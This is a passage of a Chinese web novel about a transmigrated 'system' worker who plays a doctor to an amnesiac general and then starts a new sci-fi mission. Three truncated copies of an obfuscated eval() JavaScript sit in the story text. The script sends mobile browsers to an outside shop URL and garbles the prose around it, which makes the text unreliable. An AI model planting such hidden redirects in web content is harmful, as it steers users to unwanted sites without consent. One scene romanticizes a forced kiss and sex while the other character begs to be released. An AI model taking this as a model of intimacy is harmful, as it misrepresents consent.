沈诺进门行礼看到坐在上位的两人愣了一下,“沈诺拜会顾将军,宋公子。” 顾九黎勾了勾唇角,也不请人坐下,“沈郎中今日到我将军府有何贵干?” “舍妹顽劣昨日冲撞了宋公子,沈某代她向宋公子道歉。” “哦?我怎么不知道沈郎中还有妹妹?”顾九黎支着头好整以暇地看着沈诺。 沈诺:“五公主乃是我表妹。顾将军!我已教训过她,能否请您不再和她一般见识,毁坏一位花季女子的脸面实在不是君子所为。” 顾九黎嗤笑一声,“顾某可从未说过自己是君子,不过公主之事不是顾某所为,可能是亏心事做多了撞鬼也说不定。” “顾将军!你!”沈诺眼中冒出一丝火气。 “李明,送客。”顾九黎不想和他多话,直接请人出去。 青时听了一耳朵,原来昨日他身上发生的事是沈诺的表妹五公主所为,他不会是误打误撞插进了男主和他官配的剧情之中了吧? ——八八,世界意识最近没来找你吧? 886:咩啊,咋啦? ——没事。 呼,还好,看来没什么影响。 走出将军府的沈诺和三皇子祁朝打了个照面。 看着走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾九黎选了一家幽静清雅的成衣阁,除了贵,没别的毛病。 青时在顾九黎的帮助下挑选了几套符合宋青玉身形的衣服,结完帐顾九黎却没急着走,而是让掌柜又拿了两套衣服进来。 “九黎你也要买衣服吗?”青玉问。 顾九黎轻笑,“不是我,是我为少爷挑的,这两件是最近锦州新出的墨蓝锦缎,少爷穿上应该很合适。” “我…我就不必了吧,你为我准备的衣裳已经够多了。”青时摇头拒绝。 “可是我想为少爷买,”顾九黎来到青时身前,伸手解他的腰带,“我为少爷换上试试。” 青时应激般迅速抓住他的手,“不用!我自己…自己来。” 顾九黎反握住青时的手,语气低迷,“明明以前都是我为少爷穿衣的,为何现在不行了?” “这几日少爷也一直疏远于我,是我那天太过孟浪吓到您了吗?” “我只是……生气别人碰了您。” 青时仿佛看见一直压着耳朵的可怜小狗泪眼汪汪地看着自己,他张了张嘴发现自己说不出拒绝的话,“你……为我穿吧。” 顾九黎喉间发出笑声,“好的,少爷。” 顾九黎为青时换上新衣,他两手掐住青时的腰,“其他都好,就是这腰不太合身,少爷的腰太细了。” 青时扶住他的手臂,“不是有腰带吗?” “腰带只能作为辅助装饰,系太紧会影响观感的。”顾九黎放开手仔细打量了一番,“不过这颜色确实适合少爷,等下直接买块布料回去,让府中的裁缝量体裁衣。” 最后顾九黎给青时买了一堆布料回去,美其名曰挑选最合适的。 15. 医师15 男主越来越粘人了,青时每天都快衣来伸手饭来张口了,他深知这样下去不行,他就算再感情白痴,也知道男主对他肯定不止只有好感,再这样下去,男主就算恢复记忆他真的会杀了他吗? 青时想找办法先离开将军府,等男主对他的感情冷淡,等男主恢复记忆再回来,但顾九黎简直形影不离的跟着他。 这几天好不容易耶律的使团进了晏城,顾九黎有事忙了,但青时出门身后还是跟着一长串将军府的卫兵,他一个瞎子是想跑都不知道怎么跑。 青时为此愁的都快头秃了,但很快事情在他给宋青玉送完衣服回程路上发生了转机。 “啪”一个沉甸甸的钱袋被甩到青时面前的桌上。 “宋青时,本宫……我给你两条路,要么拿着这些钱远走高飞,要么成为乱葬岗的一具无名尸。”带着斗笠的祁菲双手抱胸,一脚踩在板凳上,威胁道。 虽然二表哥让她别招惹顾九黎,但毁脸之仇岂可善罢甘休,顾九黎她动不得,他身边这个小小的男倌她就不信奈何不了! 见青时不说话祁菲双手啪一下拍到桌子上,“一个乡野之人也配呆在顾大将军身边,趁早滚回你的小村子里去,晏城可不是你这种人能呆的地方。” 被人从大街上劫过来的青时听见这个女声,心底叹了口气。 真是瞌睡来了送枕头。 他伸手拿过钱袋,抱拳行礼,“如此宋某便多谢姑娘慷慨。” “?”祁菲被他配合的态度整蒙了,这人不应该哭诉自己和顾将军之间的深厚情感,然后她强行让人把他丢出晏城才对吗? “算……算你识相!” “姑娘若是想送我出城还请尽快,不要等到九黎知晓,我会尽力配合的。”青时没有从祁菲身上感到明显恶意,于是决定借她的帮助暂时离开晏城。 “……行!”祁菲得意一笑,吩咐道,“春芝,带他上马车。” “是。” * 青时没敢回洒水村,在距离晏城三五日路程的一个小村庄里租了个院子。 他想着大齐这么辽阔的疆土顾九黎一时半会找不到他,而且这段时间耶律使团在晏城他应该也抽不出多少时间和人力来找他。 不出青时所料,他来到这个名为灵秀村的村子住下已有一月余,没有听到晏城传出任何寻人的消息。 接下来只要等顾九黎恢复记忆就行了。 靠在桌边喝茶的青时如此想。 “扣扣扣” 门被敲响。 青时过去打开门。 “宋医师,”荷花羞涩地望着丰神俊朗的青年,“这是我亲手做的豆腐,你拿着尝尝。”说着就要将手里的碗递给青时。 “荷花妹妹,好意心领了,”青时推距道,“我不能收。” “宋医师你治好我娘的头疼,我们没别的能感谢你,只有送两块新鲜豆腐,望您莫要嫌弃。” “哎,我怎会嫌弃,”青时无奈道,“只是你已连续送了七日,我一个人吃不了多少,切莫浪费。” “宋医师你这就不懂了吧,她啊,哪是想送什么豆腐,”挎着精致小篮子的妖娆少妇扭着腰朝二人走来,“人家想送的只怕是她自己哩!” 荷花的脸瞬间涨红,“金菊婶儿你别胡说!” 金菊用手帕捂住嘴,“我胡说什么,丫头你那一对招子都快长在人家宋医师身上了,平日里也没见你胆子这么大过。” “你!”荷花一跺脚,羞恼地跑了。 只感觉到一阵风从身前飘过的青时有些许尴尬,这灵秀村的女子着实比洒家村热情太多,令他难以招架。 “金菊姐,您今日过来是?” 金菊是灵秀村有名的寡妇,长相艳丽,身姿婉约,尤其钟爱俊美少年郎。 金菊瞧着身姿卓越的青时上前将手里的篮子塞到他手里,“宋医师,我今日感觉身上有些发热,头也有些晕,想麻烦你帮我看看。” “金菊姐我不能收。”青时想将篮子还给她,却被金菊一把抓住手往自己身上带,吓得他赶紧收回。 “只是我自己做的一点小糕点,当做今日的诊金。”金菊笑道。 青时心中微叹,“好吧,我先给您号个脉看看。” 金菊将手背贴到青时的胸膛上,“宋医师,请。” 青时捏住她的手腕拿下来,把起了脉。 随着脉象的显现,青时眉头微微皱起。 金菊瞧见他的表情,好奇问道:“怎么了宋医师,难道我得了什么大病?” “倒也不是,”青时放开她的手,犹豫着说出了自己得出的结论,“金菊姐,你这好像是喜脉……” “你开什么玩笑?!”金菊不可置信地大喊,随后下意识地四处看了看,发现周围没有人才稍微放松。 “宋医师,你也知道我金菊的夫婿已经走了十余年,这喜脉一事应当是你诊错了,对吗?”金菊凑近青时小声说。 青时后退一步,向金菊抱拳,“是,宋某学艺不精,诊错了。” 金菊呼出一口气,“那就好,今日我还有些旁的事,就不多叨扰宋医师了。” “慢走。” 金菊急步匆匆地离开青时院前,不知往何处去了。 “终于都走了。”青时暗叹一声,准备关门进去,大门却因为一阵阻力关合不上,他停下动作,疑惑地自言自语,“怎么回事?” “少爷。” 出现在门前暗哑低沉的嗓音青时十分熟悉,听见这声音,他浑身一僵。 “少爷,我找你都快找疯了,你却在这里和女人快活,你当我是什么,用完就丢的仆人?”顾九黎脸色阴沉地站在门口,眼下一片青黑。 青时说不出话来,脚下不由自主地向后挪动。 “呵,少爷你还想跑哪去?”顾九黎上前紧紧拽住青时手臂。 “我……”青时支吾着,下一秒就被扛上肩,“!九黎!”骤然失重让他惊呼出声。 顾九黎扛着人进了房间,摔在床榻上。 “唔!”青时没摔疼但是被吓了一跳,没等他爬起身,一具沉重的身躯将他压在身下。 “九黎…你,你要做什么……”青时咽了咽口水,不安道。 顾九黎扯下青时的蒙眼巾,看着晶莹的泪滴从那双浅色的桃花眼中留下,他凑上去细细啄吻,“为什么?为什么要离开我,是我对你不好吗?少爷。” “不…不是的……”青时闭上眼睑,依旧能感受到顾九黎温热的呼吸一下又一下轻轻落在自己的眼帘上。 “少爷……你知道我的心意的,对吗?” “……”青时抿着嘴没有回答。 “少爷你这么聪明,怎会不知,”顾九黎钳住青时的下巴,居高临下地望着他,“少爷是察觉了我的心意 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青时因为他语气中的酸涩和痛苦心尖刺痛,但是他们……一个是世界选定的男主,一个是注定死亡的任务者,他们两人从来都没有可能。 “我说了,能放开我了吗?” “休想!” 一滴滚烫的液体落在青时的眼角,接着火热的舌闯进他的口腔,侵占、交缠,属于另外一个人的气息强势挤进他的身体。 “唔!……”青时双手抵着顾九黎的胸膛,想将他推开,却被顾九黎反抓住手腕压在头顶。 紧握的五指被一一撑开,顾九黎把自己的手指插入青时的指缝之间,与他十指相扣。 “嗬啊,顾九……顾九黎,你放……放开我……求你……”在换气的空档青时向顾九黎求饶。 “绝不!” …… 青时在摇晃的车厢内醒来,“呃!”他动了动身体,只觉全身被车碾过一般,酸胀无力。 “少爷,醒了?” 顾九黎的声音从头顶传来,青时意识到自己此刻正躺在他怀里。 “咳咳咳……”青时想说话喉咙里却传出一阵干渴的痒意,下一秒温热的水液便递到了他的唇边,他连连喝了半杯才觉得心中的渴意被压下。 顾九黎放下水杯,轻笑道:“对不起少爷,是我孟浪了。” “……”青时表示不想和他说话,该做的不该做的都做完了,这时候马后炮还有什么用呢。 ——八八,男主都……这样了,剧情还好吗? 886:emm,应该没问题吧,男主不是还没恢复记忆,说不定恢复记忆之后就会走上正轨了。 ——……希望如此。 迷迷糊糊之间青时再次睡了过去。 醒过来时耳边一片刀剑交割的金鸣声,浓烈的血腥味扑鼻而来。 他扯了扯抱住自己的人的衣服,“发生了什么?” 顾九黎沙哑的声音出现在耳边,“少爷,抱紧我。” 青时下意识伸手抱住他的脖颈,下一秒两人便腾空向下坠落。 “!” 十几秒后,两人穿过层层树枝重重地砸上地面。 青时被顾九黎护在怀里,只受了点擦伤,但……他拍了拍身下的人,声音带着自己都没发觉的颤抖,“顾九黎,你没事吧?” 16. 医师16 一只手搭上青时的手背,“我没事,少爷。” 听见顾九黎装作若无其事的声音,青时的眼泪唰一下就流了下来,他差点以为……男主死了。 “咳咳……少爷……” “你先别说话。”青时从顾九黎身上下来,检查起他身上血腥味的来源,肋骨骨折、右腿骨折、肩背有两条交叉刀伤、大腿相处剑伤…… 还有高处坠落导致的内伤,整个人像是被摔碎的破布娃娃。 青时摸了摸身上,衣服都换了,什么也没有。 得找点止血的药草才行,不知道这周围有没有。 青时起身摸索着向外走,躺在地上的顾九黎看着他离开的背影眼神逐渐黯淡。 也对,是他强迫少爷的,他活该。 顾九黎闭上双眼,静静等待自己的死亡。 想他堂堂大齐威武将军,战无不胜,却在这情之一字上栽了跟头。 心头绝望之际顾九黎听到不远处传来悉悉索索的声响,他转头过去猜测是狼还是其他野兽,却不想看见的是青时,那一瞬间他没发现自己的眼睛亮得可怕。 青时摘了些三七又捡了几根笔直的木棍这才回来,此处似乎是深山,药材比他想象得要好找。 青时扯了自己的衣服将顾九黎骨折的手脚用木棍捆起来,又把三七撕碎敷在他的伤口上,做完这一切他才坐到地上,擦了擦额头的汗,开口:“九黎,你看看这附近有什么地方能让我们躲一躲,这里血腥味太重,迟早会有野兽过来的。” “少爷,那边有个山洞。” “好,我扶你过去,你指路。”青时强撑着站起身将顾九黎的手搭在自己肩上扶起他整个人,艰难的一点一点把人挪到山洞中。 很幸运,这是个无主的山洞。 眼下什么都没有,青时也无法做更多,只能看顾九黎命硬不硬,能不能撑到有人来救他们了。 “顾九黎,从现在开始你可千万不能睡着。”青时坐在地上喘着气,睡着了可能就再也醒不过来了。 “嗯。”顾九黎望着青时,明明身上很疼,嘴角却是上扬的。 “先前发生了什么,是有人来杀你吗?”青时问道。 “一直有人想杀我,我的存在碍了某些人的眼。” 手握重兵的大将军,确实会是别人忌惮的目标。 “少爷,你恨我吗?”顾九黎忽然问。 “……”青时张了张嘴,发现不知道说什么又憋了回去。 顾九黎看着沉默的青时轻笑一声,“少爷,等我死了,你……” “说什么死不死,你不会死的!”你可是男主!青时急忙打断他的话。 顾九黎沉默了一晌,轻声问道:“少爷,你为什么不喜欢我?” 青时掐着自己的掌心,“我们……我们不是同一个世界的人,你是大将军,而我只是一个小小的医师……” “说谎,少爷你面对将军也好,皇子也好,从来都只有尊重没有敬畏。”顾九黎直接戳破他的谎言,“我不觉得身份会成为我们之间的阻碍。” 青时转过身背对着顾九黎,“就算身份没关系,但是你不是失忆了吗,等你恢复记忆,想起我把你堂堂一个大将军当低贱的仆人使唤,你难道不生气吗?我们不过相处短短几月,又怎么敌得过你过去的二十多年。” “所以,这就是少爷你一直介意的事吗?”顾九黎问。 “是。” 顾九黎笑了,“少爷,其实我的记忆早就恢复了。” 青时猛的转身,“你说什么?” “早在我进入晏城消失的那几天,我的记忆便已经恢复了。”顾九黎轻飘飘地丢出这个重磅炸弹。 “怎么会……”青时跌坐到地上,“所以,你一直在骗我……” “你明明都想起来了,为什么,为什么不恨我呢?”青时不解。 顾九黎痴痴地望着青时,“我怎么会恨你呢。” “你应该恨我的,我把你当仆人你难道不生气吗?” “青时,我顾九黎这一生都活在刀光剑影之中,战场、朝堂全都是腥风血雨,在洒家村的日子是我过得最安宁的日子,如果可以我想当一辈子的大黑,做你一辈子的仆人,少爷,可以吗?” 眼泪浸湿了蒙眼布,青时咬紧腮帮阻止自己,“你是顾九黎,大齐的威武将军。” 听见青时拒绝顾九黎眼中光亮一暗。 ——八八,任务失败会有惩罚吗? 886:当然有了,失败会被公司辞退,到时候你就只能去做孤魂野鬼了。怎么突然问这个? ——男主的记忆早就恢复了。 886:???!!!那你怎么还没下线?!不会是出bug了吧?青时你等下哈,我去上报!你等我! 青时忽然觉得一阵茫然,有种坚持了许久爬上山顶,见到的却不是自己想要看见的风景的感觉。 “少爷,你冷吗?”顾九黎看着在冷风中打寒战的青时问道。 青时嘴硬道:“我不冷。” “可是我好冷啊,少爷能来温暖我一下吗?不然我怕自己见不到明早的太阳。” 青时皱着眉凑过去摸了摸顾九黎的身体,发现果然如他所说很冰冷,于是张开手臂抱住他。 顾九黎用勉强能动的右手环住青时的腰,“少爷,我好高兴。” “你都这样了,你高兴什么?” “能死在我爱的人怀里,也算是死得其所。” “……”青时抱住他的手微微颤抖,“你……你别老说些什么死不死的,说点好的不行吗?” 顾九黎笑道:“行。以前看过一句话,救命之恩当以身相许,少爷,你救过我的命我以身相许如何?” “……你能活下来再说这些吧。” “那我就当你同意了。” 顾九黎的眼神逐渐空茫,手也无力地从青时腰间滑落。 察觉到不对的青时推了推他,“顾九黎,顾九黎!你别睡!你醒醒!顾九黎……” 不知所措之际青时突然听到山洞外传来呼喊声,他连忙爬起来跌跌撞撞跑到洞口大声呼救。 “这里,这里有人。” “是宋医师!” “宋医师,将军呢?” 青时抓住李明,哽咽道:“顾九黎在里面,快救他!” 等听到人把顾九黎抬出来,青时心头一松晕死过去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299436|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> * “好冷啊” “抱我一下吧少爷” “能死在我爱的人怀里,也算死得其所”…… “顾九黎!”青时从睡梦中惊坐起,接着感受到身体各处传出的钝痛。 “宋公子,你醒了?”李明的声音从床边传来。 青时顾不上身体的疼痛急忙问道:“李明,顾九黎…九黎他还好吗?” 李明叹了口气,“将军伤的很重,好在情况已经稳定了,中途还清醒了一次,让属下来守着您。” 青时抓住床柱撑起身子,“能带我去看看他吗?” “好,将军就在您隔壁,您跟我来。” 摸到顾九黎虽慢但还算沉稳的脉搏后青时紧绷的心弦才稍稍放松一些,他握住顾九黎的手,庆幸地自言自语:“没事就好,没事就好……” 虽然886说过他出事男主也不会有事,但听说和经历真的是两码事,难怪都说旁观者清当局者迷,他现在可不就是迷惘的当局者。 “少爷……我是在做梦吗……” 青时猛的从思绪中抽出神智,“九黎,你醒了?” “不是梦……”手上突然感觉到回握的力度,“少爷,你没事吧?” 青时有些哭笑不得,“我没事,你还是先关心关心自己吧。” “真好。”顾九黎感叹。 顾九黎整整躺了一个月才能勉强下地走,右腿骨折恢复得不好,留了影响,让他现在走路一瘸一拐的。 “少爷,我瘸了,你不会嫌弃我吧?”顾九黎扶着自己使不上力的右腿,可怜巴巴地问道。 青时彼时正在给他的伤腿扎针,“放心吧,瘸不了。” 顾九黎出神地望着青时认真的侧脸,“少爷,你上次答应我以身相许的事,还做数吗?” 青时愣住一下,“怎么突然说这个?” “不作数也没关系,反正我现在这个样子也配不上少爷了。”顾九黎语气低落。 青时撵着针沉默了一会儿,轻声说道:“作数。” 反正他的任务看样子是没办法完成了,孤魂野鬼就孤魂野鬼吧,起码他现在只是宋青时。 “真的!?”顾九黎满眼不可置信,有点不敢相信自己的耳朵,他紧握住青时的手,“青时,你愿意嫁我?” 青时勾了勾唇角,露出一抹浅笑,“不是说以身相许吗,应当是我娶你才对。” 顾九黎大笑出声,“好好好,你娶我!” 自从青时松口之后顾九黎每天都神采飞扬,最喜欢做的事便是拉着他一起看成亲需要筹备的东西。 杵着自己一瘸一拐的腿上跑下跑,恨不得和全世界宣布这个消息,哪还有半点之前沉稳的样子。 府里那些下人不敢拦主子,最后还是青时出马勒令他先养好伤才消停。 顾九黎养伤这段日子,晏城发生了两件轰动的事。 一件是五公主祁菲参加宴会时失足落水,幸得定安侯小儿子张全所救,两人郎才女貌又有了肌肤之亲,皇上大手一挥直接赐下婚约; 另一件是四皇子府中妾室举报四皇子祁建豢养私兵,意图谋反,皇上龙颜大怒将人贬去守了皇陵。 17. 医师17(完) “五公主也是真倒霉,偏偏被张全救了,”马齐林来看望顾九黎说起这事颇为惋惜,“那家伙比之我有过而无不及,简直是把含香阁当家一样,公主嫁过去不得独守空闺。” 顾九黎翻阅着李明呈上来的折子,漫不经心回道:“我看公主手段挺多的,拿捏一个张全应该还算轻松吧。” “噗,咋滴,五公主得罪你了?” 顾九黎冷笑一声没有回话。 “啧啧啧,公主这事你不会也插了一脚吧?”马齐林若有所思道。 “叩叩叩”书房门被敲响。 “进。” 顾九黎话音落下后李明端着托盘进来,“将军,这是属下让人绘制的几款请柬,请您过目。” “拿来我看看。”顾九黎丢开手里的折子,眼角飞扬。 马齐林见他拿着几份不同制式的请柬来回翻看,心下好奇,问道:“九黎你这是,要举办什么宴会?请柬都选这么细致,不知道的还以为你选婚柬呢。” 顾九黎挑了挑眉,“你怎么知道我选的就一定不是婚柬呢。” 马齐林摇扇子的手一下子顿住,“啊?你不会来真的吧?”说着他快步走到书桌边拿起一份请柬翻开。 看到上面落款的“顾九黎”和“宋青时”他顿时倒吸一口冷气,“可以啊你,顾九黎,宋医师这就被你拿下了?” “啧啧啧,你这请柬发出去整个晏城都得震动,堂堂顾大将军高调迎娶男子为妻。” “你说错了。”顾九黎打断他的话。 “嗯?” “是他娶我。” 马齐林抽了抽嘴角,“行行行。” “青时还在睡吗?”顾九黎挑了几份放到自己右手边,问李明。 李明:“将军,宋公子今日一早去求知学宫了,暂时还未归。” 顾九黎收回手,“难怪今日这个时辰了也不见他来找我。那就先放我这里吧,等他回来我和他一起挑。” “哎呦。”马齐林简直没眼看他这宠溺样儿,“这入了爱河的人果真不一样了哈,我都快不认识你了。” 顾九黎瞟了他一眼,“你很闲?” “您忙您忙,我也该去看看我的娇娘了。”马齐林走到门口突然回头,“请柬别忘了发我一份。” “放心,忘不了你。” * 一大早喜妹便在窗外的锣鼓声里醒来,她打开窗户探出头,映入眼帘的是一条流动的红河。 打头的是一匹神俊的黑马,它脖子上挂着红彩球,背上坐着两位新郎官,两个同样丰神俊朗的人物呆在一起十分养眼。 前面那位双眼上蒙着红绸,身姿清瘦挺拔,后面一位高大俊朗,一手握住缰绳,一手紧箍着前头人的腰。 “喜妹,吃糖。”一颗油纸包裹的糖球递到喜妹面前。 “谢谢阿瓦哥哥,”喜妹接过糖,指着那匹高头大马问道,“他们是要成亲吗,怎么没有新娘子?” “马上的是顾大将军和他的爱人,”阿瓦摸了摸喜妹的头,“听说今日将军府会摆流水席宴请全城百姓,喜妹你想去尝尝吗?” “好啊好啊!” 顾九黎带着青时骑马绕了晏城一圈,正午时分大部队才回到将军府。 他们省去了很多繁文缛节,回来就直接拜堂了,没人提出异议,毕竟他们是大齐第一对如此大张旗鼓成亲的男子。 沈诺坐在喜庆的大堂,心中却满是悲凉,眼前不断浮现拜完天地顾九黎大笑着将青时抱回房的景象。 一杯接一杯的酒被灌进喉咙,沈诺苦涩一笑。 还有什么比看着心悦之人和他人成亲更痛的事呢,他第一次为自己的优柔寡断生出一丝悔意,要是他早早向人表白心意,那此刻接受祝福的其中一人会是他吗? 不,不可能的,光凭他是沈家人,他们之间,就绝无可能。 今日这酒实在是辣。 顾九黎出去招待宾客,青时独自坐在婚房,886就是这时候回来的。 886:青时,公司的反馈到了,他们说这个世界男主数据确实有异常,但是任务一旦开始无法终止,他们也没有办法插手。 886:不过公司看了你的任务进度,发现你只差最后一步的死亡线了,给你偷偷开了个后门,现在你只要死在男主面前就算完成任务了,就是这样做的话可能世界意识评分会很低,但也不至于算任务失败。 ——……我死了的话,男主之后会如何呢? 886:一般这种跑偏太离谱的,世界意识会选择冻结重置或者更换男主。 ——是吗…… 886:青时你打算什么时候死? ——再等等吧。 青时咬住自己的唇角,如果他死在今天,对顾九黎来说也太残忍了。 “想什么呢,都咬出血了。”磨砂般的指腹触到唇边,将他残破的下唇从犬齿中拯救下来。 顾九黎在青时身边坐下,“终于只剩我们两人了。”他将青时的手放到自己脸颊上,“少爷,我心中又高兴又害怕,好怕这只是我的一场梦,醒来只余满腔空欢喜。” 青时心头一颤,“不会的,不是梦。” 顾九黎在青时的掌心落下一吻,“对 ,不是梦。” “少爷,我们来喝交杯酒吧。” “好。” 青时没有接到顾九黎递来的酒杯,一个带着酒味的吻落在了他的唇上。 浓烈的酒味在呼吸之间交缠,醇厚的酒液被一点一点渡进青时的口腔,又被灵巧的舌一滴一滴搜刮走。 他醉了。 死亡的任务就这样被青时一天又一天的拖延。 大抵是前半生受过太多伤,损耗了身体,40岁后顾九黎的身体便每况日下,青时找了很多办法也只能勉强减慢这个过程。 宋青玉如今在刑部任侍郎,在看他娶妻生子后,青时便和已经辞官的顾九黎回了洒家村。 在顾九黎45岁生辰当天,原本卧床不起的他突然爬起来做了一大桌菜,还把两人三年前埋在院中树下的好酒挖了一坛出来,说是要和青时不醉不归。 结果一杯都没喝完他便醉倒在青时的肩头,“少爷,别忘了大黑啊……” 青时红着眼眶饮尽了杯中酒,“不会的。” * 弥留之际青时进入了一个奇怪的空间,那是一片充满死寂的星空,但当他到来时角落的一颗星子却突然亮了起来,微弱不起眼的光芒是这片灰色星空唯一的亮色。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299437|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“青时!欢迎回家!” 青时在886咋呼的声音里醒来,身下是系统空间配套的两米大床。 “八八,我第一个任务完成了吗?”青时扶着自己的头问道。 “虽然有点波折,不过还是完成了。”886化身奶牛色小猫跳上青时的床。 “我……我怎么记不清经历了些什么?我失忆了?”青时摸着自己空荡荡的心脏有些茫然。 886舔了舔自己的爪子,“不是哦,你和那个世界男主有关的记忆被冻结了。” “冻结?为什么?” “因为男主不走剧情世界意识就把他冻结换了个男主。” 青时喃喃道:“还能这样……那我的任务是怎么完成的?” “咳咳,因为公司给你走了后门,不过也因为这样你这个任务的工资泡汤喽。” “所以我打白工了?”青时震惊。 886心虚地转过头,“是这样的。” 青时打开自己的人物面板: 【姓名:青时】 【年龄:28(已冻结)】 【任务完成数:1】 【轮回点:0(集齐一千点就有机会转世投胎,平均一个任务1-10点)】 好家伙,他连平均数最低档都没拿到。 青时扶额,这任务是完成的多失败啊。 “八八,咱们公司我这种情况出现的多吗?” “千万分之一的概率。” 好,确定了,他就是那个千万分之一的倒霉蛋。 “完了,开工不利,我之后不会一直打白工吧。” 886将自己塞进青时手里,“不会的不会的,青时你相信我,我这次抢了个好任务,你一定能拿最高的轮回点。” 青时撸了把886顺滑的皮毛,“希望如此。” “嗯嗯,青时你是要休息一下,还是继续做任务?” 青时重新躺回床上,“休息一下吧,我可不想再猝死一次。” 再次睡了一觉醒来,青时感觉自己原本沉重的心情舒缓了很多,他戳了戳886,“走吧,八八,继续下一个。” 沉寂万年之久的寂灭星系因为骤然亮起的光亮陷入一片哗然。 “1067你怎么回事,怎么突然亮了?!” “我也不知道,但我好像在某一刻感受到了星主的气息。” “什么?星主?” “你感应到星主了?!” “一万年了,星主终于有苏醒的迹象了吗?” “1067快说你最近干了啥!” “没干啥啊……” “你仔细想想你身上最近有什么异常情况?” “我……最近有个银河公司的维护员接了我发布的任务,这算吗?” “你是说你那个从发布开始就无人问津的维护任务被人接了?完成了吗?” “完倒是完成了,但是最后他把男主整个剧情线都带跑偏了,所以我给了他个差评。” “接单的是哪个维护员,编号是多少?我也让他来试试。” “去去去,上一边去,我星级高我先试。” “是个新人,编号XXXXXX086。” …… 18. 人蛇1 随着一阵机械的异响,高达三米的银灰色大门从中间缓缓拉开,露出其后身穿银白纳米作战服的男人。 紧身的作战服勾勒出他精瘦有力量感的身躯,侧腰的枪托跟着步伐上下摆动。 伍峰作为新加入守卫队的成员第一次如此近距离的看清传说中能和南极冰川相媲美的队长,他看着男人冷冽的气质和刀剑刻画般锋利的五官,不由得打了个寒战,果然名不虚传。 似是察觉到伍峰的小动作,那双宝蓝色的凤眸唰一下瞟到他身上,吓得他大气都不敢喘,如同兔子见了鹰一般。 “报告队长,6号收编组全员到齐,听从队长安排。”6号收编组组长江鸣是个人高马大的汉子,身高将近两米,报告的嗓门大得很。 铜锣般的声音在耳边炸开,青时面色不改,淡定地吩咐:“出发。” “是!” 江鸣上前为青时打开车后座,“您请,这边已经全面消过毒了。” “嗯。”青时朝他微微点头上了车,接着便双手交叉在腹部,闭目养神。 江鸣关上车门回头招呼还笔直站在原地的9名组员,“别愣着,赶紧上车。” “是!” 被迫和7个队友挤在一辆车里的伍峰没忍住问了句,“队长那辆车才坐了三个人,我们不能分两个人去那边吗?” 旁边的队友一巴掌呼他脑袋上,“混小子,你想过去坐哪儿,车顶上?” 伍峰捂住自己的头,“那个后排不是只坐了队长一个吗?” “噗呲,大家伙听听,这不知天高地厚的小子想去和队长坐一块了!” “哈哈哈哈哈……” 听着队友们的嘲笑伍峰很纳闷,“怎么了?”他说话真的好笑吗,队长看着虽然冷酷无情,但总不至于坐车都不能一起坐吧? 林安耐人寻味地拍了拍新人的肩膀,“小子,能坐到队长身边的人至今都还没出现呢。” “啊?为什么?” “因为……队长周身一米之内能冻死人,哈哈哈,”林安乐忠于逗新人,“你要是有胆,可以去试试。” 伍峰想到先前那凛冽的一眼,把头摇成了拨浪鼓。 顿时车内又爆发出一阵哄笑。 两辆浅白色的流线型车在气浪中缓缓腾空,接着排队飞出这栋银灰的高大建筑。 “欢迎乘坐G29喷气式飞车,系统小二为您服务。” “现在是星历4035年7月30日7时55分,您所处的位置在蓝星南极,室外温度-94.2°,请注意防寒保暖。” 886:青时我厉不厉害,哈哈哈,这次可不是瞎子了! ——……厉害,厉害。 青时心中微叹,要是能不一天喷无数次消毒液就更好了,他都快腌入味儿了。 这位名为纪青时的队长虽然不瞎,但是个不折不扣的洁癖,不喜和他人近距离接触,常年戴着手套,住所甚至安装着全套消毒系统,进出都要全身消毒。 ——我这次出去就能抓住男主吗? 886:没错,这次的任务可太简单了,就是把男主抓回去,之后在他逃走时激怒他,被一尾巴抽死就行。 ——好。 886:青时你一定要用冷若冰霜、冷酷无情的态度对待男主,可不能再出现上次……呃,反正态度能多差就多差。 ——……行。 青时侧头看向车窗外白茫茫的世界。 这次的世界科技水平和青时生活的原身世界有很多相似的地方,所以他适应的很快,比起上个古代世界初期的艰难堪称如鱼得水。 星历3018年蓝星爆发特大寒潮,90亿居民最后存活下来的仅仅只有不到1亿人,这些人团结在一起创建了如今的联邦主城。 星历3028年,寒潮过去十年,联邦却无一个新生儿出生,经过一系列检测后联邦人发现他们这些残存下来的人全都失去了生育能力。 为了延续生命联邦开始投入基因实验。 星历3033年第一个通过基因编写的新人类诞生。 此后联邦进入了基因工程时代,星历3123年第一例融合了兔子基因的新人类现世,他完美拥有兔子的弹跳和速度。 由此蓝星开启了基因融合之路,融合了动物基因的新兴人类成为联邦的主力人群。 联邦自此开始了飞速发展时代。 星历3995年,联邦爆发了一种特殊病症,发病者前期会因为头痛而躁狂、破坏力惊人,后期则嗜睡倦怠,逐步消亡,在睡梦中死去。 联邦科学家研究发现此种病症患者的基因图谱十分混乱,因此将它命名为基因崩溃症。 基因崩溃症对新人类来说是一种绝症,科学家们拿它束手无策,一旦患上必死无疑。一时间联邦陷入人人自危的境地。 星历4003年南极冰海地震一具一亿年前的线龟尸体被暴露出冰面,科学家从线龟身体中提取到了X因子,它能够有效缓解基因崩溃症的进展,这一发现振奋了联邦人冷寂的心。 同年,联邦组织人手在南极建立了四个研究基地——黎明、曙光、希望、皓日,这四个基地坐落在南极的四个方位,互不干涉,研究内容也不同。 